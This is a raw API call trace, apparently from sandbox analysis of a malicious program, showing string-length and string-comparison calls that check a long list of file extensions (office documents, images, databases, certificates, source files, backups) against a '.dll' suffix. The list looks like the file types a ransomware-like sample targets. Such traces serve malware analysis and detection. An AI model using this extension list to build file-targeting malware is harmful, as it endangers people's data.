	[0166.135] lstrlenW (lpString=".adp") returned 4
	[0166.135] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0166.135] lstrlenW (lpString=".ai") returned 3
	[0166.135] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0166.135] lstrlenW (lpString=".ai3") returned 4
	[0166.135] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0166.135] lstrlenW (lpString=".ai4") returned 4
	[0166.135] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0166.135] lstrlenW (lpString=".ai5") returned 4
	[0166.135] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0166.135] lstrlenW (lpString=".ai6") returned 4
	[0166.135] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0166.135] lstrlenW (lpString=".ai7") returned 4
	[0166.135] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0166.135] lstrlenW (lpString=".ai8") returned 4
	[0166.135] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0166.135] lstrlenW (lpString=".anim") returned 5
	[0166.135] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1
	[0166.135] lstrlenW (lpString=".arw") returned 4
	[0166.136] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0166.136] lstrlenW (lpString=".as") returned 3
	[0166.136] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0166.136] lstrlenW (lpString=".asa") returned 4
	[0166.136] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0166.136] lstrlenW (lpString=".asc") returned 4
	[0166.136] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0166.136] lstrlenW (lpString=".ascx") returned 5
	[0166.136] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1
	[0166.136] lstrlenW (lpString=".asm") returned 4
	[0166.136] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0166.136] lstrlenW (lpString=".asmx") returned 5
	[0166.136] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1
	[0166.136] lstrlenW (lpString=".asp") returned 4
	[0166.136] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0166.136] lstrlenW (lpString=".aspx") returned 5
	[0166.136] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1
	[0166.136] lstrlenW (lpString=".asr") returned 4
	[0166.136] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0166.136] lstrlenW (lpString=".asx") returned 4
	[0166.136] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0166.136] lstrlenW (lpString=".avi") returned 4
	[0166.136] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0166.136] lstrlenW (lpString=".avs") returned 4
	[0166.136] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0166.136] lstrlenW (lpString=".backup") returned 7
	[0166.136] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1
	[0166.136] lstrlenW (lpString=".bak") returned 4
	[0166.136] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0166.136] lstrlenW (lpString=".bay") returned 4
	[0166.136] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0166.136] lstrlenW (lpString=".bd") returned 3
	[0166.136] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0166.136] lstrlenW (lpString=".bin") returned 4
	[0166.137] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0166.137] lstrlenW (lpString=".bmp") returned 4
	[0166.137] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0166.137] lstrlenW (lpString=".bz2") returned 4
	[0166.137] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.137] lstrlenW (lpString=".c") returned 2
	[0166.137] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0166.331] lstrlenW (lpString=".cdr") returned 4
	[0166.331] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0166.331] lstrlenW (lpString=".cer") returned 4
	[0166.331] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0166.331] lstrlenW (lpString=".cf") returned 3
	[0166.331] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0166.331] lstrlenW (lpString=".cfc") returned 4
	[0166.331] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0166.331] lstrlenW (lpString=".cfm") returned 4
	[0166.331] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0166.331] lstrlenW (lpString=".cfml") returned 5
	[0166.331] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1
	[0166.331] lstrlenW (lpString=".cfu") returned 4
	[0166.331] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0166.331] lstrlenW (lpString=".chm") returned 4
	[0166.332] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".cin") returned 4
	[0166.332] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".class") returned 6
	[0166.332] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1
	[0166.332] lstrlenW (lpString=".clx") returned 4
	[0166.332] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".config") returned 7
	[0166.332] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1
	[0166.332] lstrlenW (lpString=".cpp") returned 4
	[0166.332] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".cr2") returned 4
	[0166.332] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".crt") returned 4
	[0166.332] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".crw") returned 4
	[0166.332] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".cs") returned 3
	[0166.332] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0166.332] lstrlenW (lpString=".css") returned 4
	[0166.332] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".csv") returned 4
	[0166.332] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".cub") returned 4
	[0166.332] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".dae") returned 4
	[0166.332] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".dat") returned 4
	[0166.332] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".db") returned 3
	[0166.332] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0166.332] lstrlenW (lpString=".dbf") returned 4
	[0166.332] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.332] lstrlenW (lpString=".dbx") returned 4
	[0166.333] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0166.333] lstrlenW (lpString=".dc3") returned 4
	[0166.333] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0166.333] lstrlenW (lpString=".dcm") returned 4
	[0166.333] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0166.333] lstrlenW (lpString=".dcr") returned 4
	[0166.333] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0166.333] lstrlenW (lpString=".der") returned 4
	[0166.333] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0166.333] lstrlenW (lpString=".dib") returned 4
	[0166.333] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0166.333] lstrlenW (lpString=".dic") returned 4
	[0166.333] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0166.333] lstrlenW (lpString=".dif") returned 4
	[0166.333] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0166.333] lstrlenW (lpString=".divx") returned 5
	[0166.333] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1
	[0166.333] lstrlenW (lpString=".djvu") returned 5
	[0166.333] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1
	[0166.333] lstrlenW (lpString=".dng") returned 4
	[0166.333] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0166.333] lstrlenW (lpString=".doc") returned 4
	[0166.333] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.333] lstrlenW (lpString=".docm") returned 5
	[0166.333] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1
	[0166.333] lstrlenW (lpString=".docx") returned 5
	[0166.333] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0166.333] lstrlenW (lpString=".dot") returned 4
	[0166.333] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0166.333] lstrlenW (lpString=".dotm") returned 5
	[0166.333] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1
	[0166.333] lstrlenW (lpString=".dotx") returned 5
	[0166.334] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1
	[0166.334] lstrlenW (lpString=".dpx") returned 4
	[0166.334] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".dqy") returned 4
	[0166.334] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".dsn") returned 4
	[0166.334] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".dt") returned 3
	[0166.334] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0166.334] lstrlenW (lpString=".dtd") returned 4
	[0166.334] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".dwg") returned 4
	[0166.334] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".dwt") returned 4
	[0166.334] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".dx") returned 3
	[0166.334] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0166.334] lstrlenW (lpString=".dxf") returned 4
	[0166.334] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".edml") returned 5
	[0166.334] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1
	[0166.334] lstrlenW (lpString=".efd") returned 4
	[0166.334] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".elf") returned 4
	[0166.334] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".emf") returned 4
	[0166.334] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".emz") returned 4
	[0166.334] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".epf") returned 4
	[0166.334] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0166.334] lstrlenW (lpString=".eps") returned 4
	[0166.334] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".epsf") returned 5
	[0166.335] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1
	[0166.335] lstrlenW (lpString=".epsp") returned 5
	[0166.335] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1
	[0166.335] lstrlenW (lpString=".erf") returned 4
	[0166.335] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".exr") returned 4
	[0166.335] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".f4v") returned 4
	[0166.335] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".fido") returned 5
	[0166.335] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1
	[0166.335] lstrlenW (lpString=".flm") returned 4
	[0166.335] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".flv") returned 4
	[0166.335] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".frm") returned 4
	[0166.335] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".fxg") returned 4
	[0166.335] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".geo") returned 4
	[0166.335] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".gif") returned 4
	[0166.335] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".grs") returned 4
	[0166.335] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".gz") returned 3
	[0166.335] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0166.335] lstrlenW (lpString=".h") returned 2
	[0166.335] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0166.335] lstrlenW (lpString=".hdr") returned 4
	[0166.335] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0166.335] lstrlenW (lpString=".hpp") returned 4
	[0166.336] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".hta") returned 4
	[0166.336] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".htc") returned 4
	[0166.336] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".htm") returned 4
	[0166.336] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".html") returned 5
	[0166.336] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1
	[0166.336] lstrlenW (lpString=".icb") returned 4
	[0166.336] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".ics") returned 4
	[0166.336] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".iff") returned 4
	[0166.336] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".inc") returned 4
	[0166.336] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".indd") returned 5
	[0166.336] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1
	[0166.336] lstrlenW (lpString=".ini") returned 4
	[0166.336] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".iqy") returned 4
	[0166.336] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".j2c") returned 4
	[0166.336] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".j2k") returned 4
	[0166.336] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".java") returned 5
	[0166.336] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1
	[0166.336] lstrlenW (lpString=".jp2") returned 4
	[0166.336] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0166.336] lstrlenW (lpString=".jpc") returned 4
	[0166.336] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".jpe") returned 4
	[0166.337] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".jpeg") returned 5
	[0166.337] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1
	[0166.337] lstrlenW (lpString=".jpf") returned 4
	[0166.337] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".jpg") returned 4
	[0166.337] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".jpx") returned 4
	[0166.337] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".js") returned 3
	[0166.337] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0166.337] lstrlenW (lpString=".jsf") returned 4
	[0166.337] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".json") returned 5
	[0166.337] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1
	[0166.337] lstrlenW (lpString=".jsp") returned 4
	[0166.337] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".kdc") returned 4
	[0166.337] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".kmz") returned 4
	[0166.337] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".kwm") returned 4
	[0166.337] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".lasso") returned 6
	[0166.337] lstrcmpiW (lpString1=".lasso", lpString2="es.dll") returned -1
	[0166.337] lstrlenW (lpString=".lbi") returned 4
	[0166.337] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".lgf") returned 4
	[0166.337] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".lgp") returned 4
	[0166.337] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1
	[0166.337] lstrlenW (lpString=".log") returned 4
	[0166.337] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".m1v") returned 4
	[0166.338] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".m4a") returned 4
	[0166.338] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".m4v") returned 4
	[0166.338] lstrcmpiW (lpString1=".m4v", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".max") returned 4
	[0166.338] lstrcmpiW (lpString1=".max", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".md") returned 3
	[0166.338] lstrcmpiW (lpString1=".md", lpString2="dll") returned -1
	[0166.338] lstrlenW (lpString=".mda") returned 4
	[0166.338] lstrcmpiW (lpString1=".mda", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".mdb") returned 4
	[0166.338] lstrcmpiW (lpString1=".mdb", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".mde") returned 4
	[0166.338] lstrcmpiW (lpString1=".mde", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".mdf") returned 4
	[0166.338] lstrcmpiW (lpString1=".mdf", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".mdw") returned 4
	[0166.338] lstrcmpiW (lpString1=".mdw", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".mef") returned 4
	[0166.338] lstrcmpiW (lpString1=".mef", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".mft") returned 4
	[0166.338] lstrcmpiW (lpString1=".mft", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".mfw") returned 4
	[0166.338] lstrcmpiW (lpString1=".mfw", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".mht") returned 4
	[0166.338] lstrcmpiW (lpString1=".mht", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".mhtml") returned 6
	[0166.338] lstrcmpiW (lpString1=".mhtml", lpString2="es.dll") returned -1
	[0166.338] lstrlenW (lpString=".mka") returned 4
	[0166.338] lstrcmpiW (lpString1=".mka", lpString2=".dll") returned 1
	[0166.338] lstrlenW (lpString=".mkidx") returned 6
	[0166.339] lstrcmpiW (lpString1=".mkidx", lpString2="es.dll") returned -1
	[0166.339] lstrlenW (lpString=".mkv") returned 4
	[0166.339] lstrcmpiW (lpString1=".mkv", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".mos") returned 4
	[0166.339] lstrcmpiW (lpString1=".mos", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".mov") returned 4
	[0166.339] lstrcmpiW (lpString1=".mov", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".mp3") returned 4
	[0166.339] lstrcmpiW (lpString1=".mp3", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".mp4") returned 4
	[0166.339] lstrcmpiW (lpString1=".mp4", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".mpeg") returned 5
	[0166.339] lstrcmpiW (lpString1=".mpeg", lpString2="s.dll") returned -1
	[0166.339] lstrlenW (lpString=".mpg") returned 4
	[0166.339] lstrcmpiW (lpString1=".mpg", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".mpv") returned 4
	[0166.339] lstrcmpiW (lpString1=".mpv", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".mrw") returned 4
	[0166.339] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".msg") returned 4
	[0166.339] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".mxl") returned 4
	[0166.339] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".myd") returned 4
	[0166.339] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".myi") returned 4
	[0166.339] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".nef") returned 4
	[0166.339] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".nrw") returned 4
	[0166.339] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0166.339] lstrlenW (lpString=".obj") returned 4
	[0166.339] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".odb") returned 4
	[0166.340] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".odc") returned 4
	[0166.340] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".odm") returned 4
	[0166.340] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".odp") returned 4
	[0166.340] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".ods") returned 4
	[0166.340] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".oft") returned 4
	[0166.340] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".one") returned 4
	[0166.340] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".onepkg") returned 7
	[0166.340] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1
	[0166.340] lstrlenW (lpString=".onetoc2") returned 8
	[0166.340] lstrcmpiW (lpString1=".onetoc2", lpString2="aces.dll") returned -1
	[0166.340] lstrlenW (lpString=".opt") returned 4
	[0166.340] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".oqy") returned 4
	[0166.340] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".orf") returned 4
	[0166.340] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".p12") returned 4
	[0166.340] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".p7b") returned 4
	[0166.340] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".p7c") returned 4
	[0166.340] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".pam") returned 4
	[0166.340] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0166.340] lstrlenW (lpString=".pbm") returned 4
	[0166.341] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".pct") returned 4
	[0166.341] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".pcx") returned 4
	[0166.341] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".pdd") returned 4
	[0166.341] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".pdf") returned 4
	[0166.341] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".pdp") returned 4
	[0166.341] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".pef") returned 4
	[0166.341] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".pem") returned 4
	[0166.341] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".pff") returned 4
	[0166.341] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".pfm") returned 4
	[0166.341] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".pfx") returned 4
	[0166.341] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".pgm") returned 4
	[0166.341] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".php") returned 4
	[0166.341] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0166.341] lstrlenW (lpString=".php3") returned 5
	[0166.341] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1
	[0166.341] lstrlenW (lpString=".php4") returned 5
	[0166.341] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1
	[0166.341] lstrlenW (lpString=".php5") returned 5
	[0166.341] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1
	[0166.341] lstrlenW (lpString=".phtml") returned 6
	[0166.341] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1
	[0166.341] lstrlenW (lpString=".pict") returned 5
	[0166.342] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1
	[0166.342] lstrlenW (lpString=".pl") returned 3
	[0166.342] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0166.342] lstrlenW (lpString=".pls") returned 4
	[0166.342] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0166.342] lstrlenW (lpString=".pm") returned 3
	[0166.342] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0166.342] lstrlenW (lpString=".png") returned 4
	[0166.342] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0166.342] lstrlenW (lpString=".pnm") returned 4
	[0166.342] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0166.342] lstrlenW (lpString=".pot") returned 4
	[0166.342] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0166.342] lstrlenW (lpString=".potm") returned 5
	[0166.342] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1
	[0166.342] lstrlenW (lpString=".potx") returned 5
	[0166.342] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1
	[0166.342] lstrlenW (lpString=".ppa") returned 4
	[0166.342] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0166.342] lstrlenW (lpString=".ppam") returned 5
	[0166.342] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1
	[0166.342] lstrlenW (lpString=".ppm") returned 4
	[0166.342] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0166.342] lstrlenW (lpString=".pps") returned 4
	[0166.342] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0166.342] lstrlenW (lpString=".ppsm") returned 5
	[0166.343] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1
	[0166.343] lstrlenW (lpString=".ppt") returned 4
	[0166.343] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.343] lstrlenW (lpString=".pptm") returned 5
	[0166.343] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1
	[0166.343] lstrlenW (lpString=".pptx") returned 5
	[0166.343] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1
	[0166.343] lstrlenW (lpString=".prn") returned 4
	[0166.343] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0166.343] lstrlenW (lpString=".ps") returned 3
	[0166.343] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0166.343] lstrlenW (lpString=".psb") returned 4
	[0166.343] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0166.343] lstrlenW (lpString=".psd") returned 4
	[0166.343] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
